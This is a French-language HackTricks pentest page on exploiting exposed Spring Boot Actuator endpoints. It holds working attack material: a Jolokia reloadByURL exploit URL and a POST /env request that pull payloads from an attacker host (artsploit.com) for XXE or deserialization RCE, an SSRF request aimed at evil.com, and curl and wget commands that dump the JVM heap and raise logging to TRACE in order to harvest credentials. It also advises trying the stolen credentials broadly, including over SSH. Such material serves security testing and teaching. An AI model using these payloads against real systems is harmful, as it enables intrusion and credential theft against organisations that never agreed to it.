Spring Actuators

Reading time: 7 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Spring Auth Bypass

Depuis https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png

Exploitation des Spring Boot Actuators

Consultez l'article original sur [https://www.veracode.com/blog/research/exploiting-spring-boot-actuators]

Points clés :

  • Spring Boot Actuators register endpoints tels que /health, /trace, /beans, /env, etc. Dans les versions 1 Ă  1.4, ces endpoints sont accessibles sans authentification. À partir de la version 1.5, seuls /health et /info sont non sensibles par dĂ©faut, mais les dĂ©veloppeurs dĂ©sactivent souvent cette sĂ©curitĂ©.
  • Certains endpoints Actuator peuvent exposer des donnĂ©es sensibles ou permettre des actions dangereuses :
  • /dump, /trace, /logfile, /shutdown, /mappings, /env, /actuator/env, /restart, et /heapdump.
  • Dans Spring Boot 1.x, les actuators sont enregistrĂ©s sous la racine URL, tandis que dans 2.x, ils se trouvent sous le chemin de base /actuator/.

Techniques d'exploitation :

  1. Remote Code Execution via '/jolokia':
  • L'endpoint /jolokia expose la bibliothĂšque Jolokia, qui permet un accĂšs HTTP aux MBeans.
  • L'action reloadByURL peut ĂȘtre exploitĂ©e pour recharger des configurations de logging depuis une URL externe, ce qui peut conduire Ă  un blind XXE ou Ă  du Remote Code Execution via des configurations XML malicieuses.
  • Exemple d'URL d'exploit : http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml.
  1. Modification de la configuration via '/env':
  • Si les Spring Cloud Libraries sont prĂ©sentes, l'endpoint /env permet la modification des propriĂ©tĂ©s d'environnement.
  • Les propriĂ©tĂ©s peuvent ĂȘtre manipulĂ©es pour exploiter des vulnĂ©rabilitĂ©s, comme la vulnĂ©rabilitĂ© de dĂ©sĂ©rialisation XStream dans Eureka serviceURL.
  • Exemple de requĂȘte POST d'exploitation :
POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 65

eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
  1. Autres paramĂštres utiles:
  • Des propriĂ©tĂ©s comme spring.datasource.tomcat.validationQuery, spring.datasource.tomcat.url, et spring.datasource.tomcat.max-active peuvent ĂȘtre manipulĂ©es pour divers exploits, tels que des injections SQL ou la modification des chaĂźnes de connexion Ă  la base de donnĂ©es.

Informations supplémentaires :

  • Une liste complĂšte des actuators par dĂ©faut peut ĂȘtre trouvĂ©e ici.
  • L'endpoint /env dans Spring Boot 2.x utilise le format JSON pour la modification des propriĂ©tĂ©s, mais le concept gĂ©nĂ©ral reste le mĂȘme.

Sujets liés :

  1. Env + H2 RCE:
  • DĂ©tails sur l'exploitation de la combinaison de l'endpoint /env et de la base de donnĂ©es H2 disponibles ici.
  1. SSRF on Spring Boot Through Incorrect Pathname Interpretation:
  • Le traitement par le framework Spring des matrix parameters (;) dans les pathnames HTTP peut ĂȘtre exploitĂ© pour Server-Side Request Forgery (SSRF).
  • Exemple de requĂȘte d'exploitation:
http
GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close

Extraction de secrets depuis HeapDump (credentials, tokens, internal URLs)

Si /actuator/heapdump est exposé, vous pouvez généralement récupérer un snapshot complet du heap JVM qui contient fréquemment des secrets vivants (DB creds, API keys, Basic-Auth, internal service URLs, Spring property maps, etc.).

  • TĂ©lĂ©chargement et triage rapide :
bash
wget http://target/actuator/heapdump -O heapdump
# Quick wins: look for HTTP auth and JDBC
strings -a heapdump | grep -nE 'Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client'
# Decode any Basic credentials you find
printf %s 'RXhhbXBsZUJhc2U2NEhlcmU=' | base64 -d
  • Analyse approfondie avec VisualVM et OQL :
  • Ouvrez le heapdump dans VisualVM, inspectez les instances de java.lang.String ou lancez des OQL pour chasser les secrets :
select s.toString()
from java.lang.String s
where /Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client|OriginTrackedMapPropertySource/i.test(s.toString())
  • Extraction automatisĂ©e avec JDumpSpider :
bash
java -jar JDumpSpider-*.jar heapdump

Découvertes typiques à haute valeur :

  • Spring DataSourceProperties / HikariDataSource objects exposant url, username, password.
  • EntrĂ©es OriginTrackedMapPropertySource rĂ©vĂ©lant management.endpoints.web.exposure.include, ports de service et Basic-Auth intĂ©grĂ© dans des URLs (par ex. Eureka defaultZone).
  • Fragments de requĂȘtes/rĂ©ponses HTTP en clair incluant Authorization: Basic ... capturĂ©s en mĂ©moire.

Conseils :

  • Utilisez un wordlist orientĂ© Spring pour dĂ©couvrir rapidement les endpoints actuator (par ex. SecLists spring-boot.txt) et vĂ©rifiez toujours si /actuator/logfile, /actuator/httpexchanges, /actuator/env, et /actuator/configprops sont aussi exposĂ©s.
  • Les credentials extraits d'un heapdump fonctionnent souvent pour des services adjacents et parfois pour des utilisateurs systĂšme (SSH), testez-les largement.

Abuser des loggers/logging d'Actuator pour capturer des credentials

Si management.endpoints.web.exposure.include le permet et que /actuator/loggers est exposĂ©, vous pouvez augmenter dynamiquement les niveaux de log Ă  DEBUG/TRACE pour des packages qui gĂšrent l'authentification et le traitement des requĂȘtes. CombinĂ© avec des logs lisibles (via /actuator/logfile ou des chemins de logs connus), cela peut leak des credentials soumis pendant les flux de connexion (par ex. en-tĂȘtes Basic-Auth ou paramĂštres de formulaire).

  • ÉnumĂ©rez et augmentez les loggers sensibles :
bash
# List available loggers
curl -s http://target/actuator/loggers | jq .

# Enable very verbose logs for security/web stacks (adjust as needed)
curl -s -X POST http://target/actuator/loggers/org.springframework.security \
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
curl -s -X POST http://target/actuator/loggers/org.springframework.web \
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
curl -s -X POST http://target/actuator/loggers/org.springframework.cloud.gateway \
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
  • Trouvez oĂč les logs sont Ă©crits et rĂ©coltez-les :
bash
# If exposed, read from Actuator directly
curl -s http://target/actuator/logfile | strings | grep -nE 'Authorization:|username=|password='

# Otherwise, query env/config to locate file path
curl -s http://target/actuator/env | jq '.propertySources[].properties | to_entries[] | select(.key|test("^logging\\.(file|path)"))'
  • DĂ©clenchez du trafic de login/authentification et parsez le log pour les creds. Dans des architectures microservices avec une gateway en frontal de l'auth, activer TRACE pour les packages gateway/security rend souvent visibles les headers et les bodies de formulaire. Certains environnements gĂ©nĂšrent mĂȘme du trafic de login synthĂ©tique pĂ©riodiquement, rendant la collecte triviale une fois le logging verbeux.

Notes :

  • RĂ©initialisez les niveaux de log une fois terminĂ© : POST /actuator/loggers/<logger> avec { "configuredLevel": null }.
  • Si /actuator/httpexchanges est exposĂ©, il peut aussi faire apparaĂźtre des mĂ©tadonnĂ©es de requĂȘtes rĂ©centes qui peuvent inclure des headers sensibles.

References

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks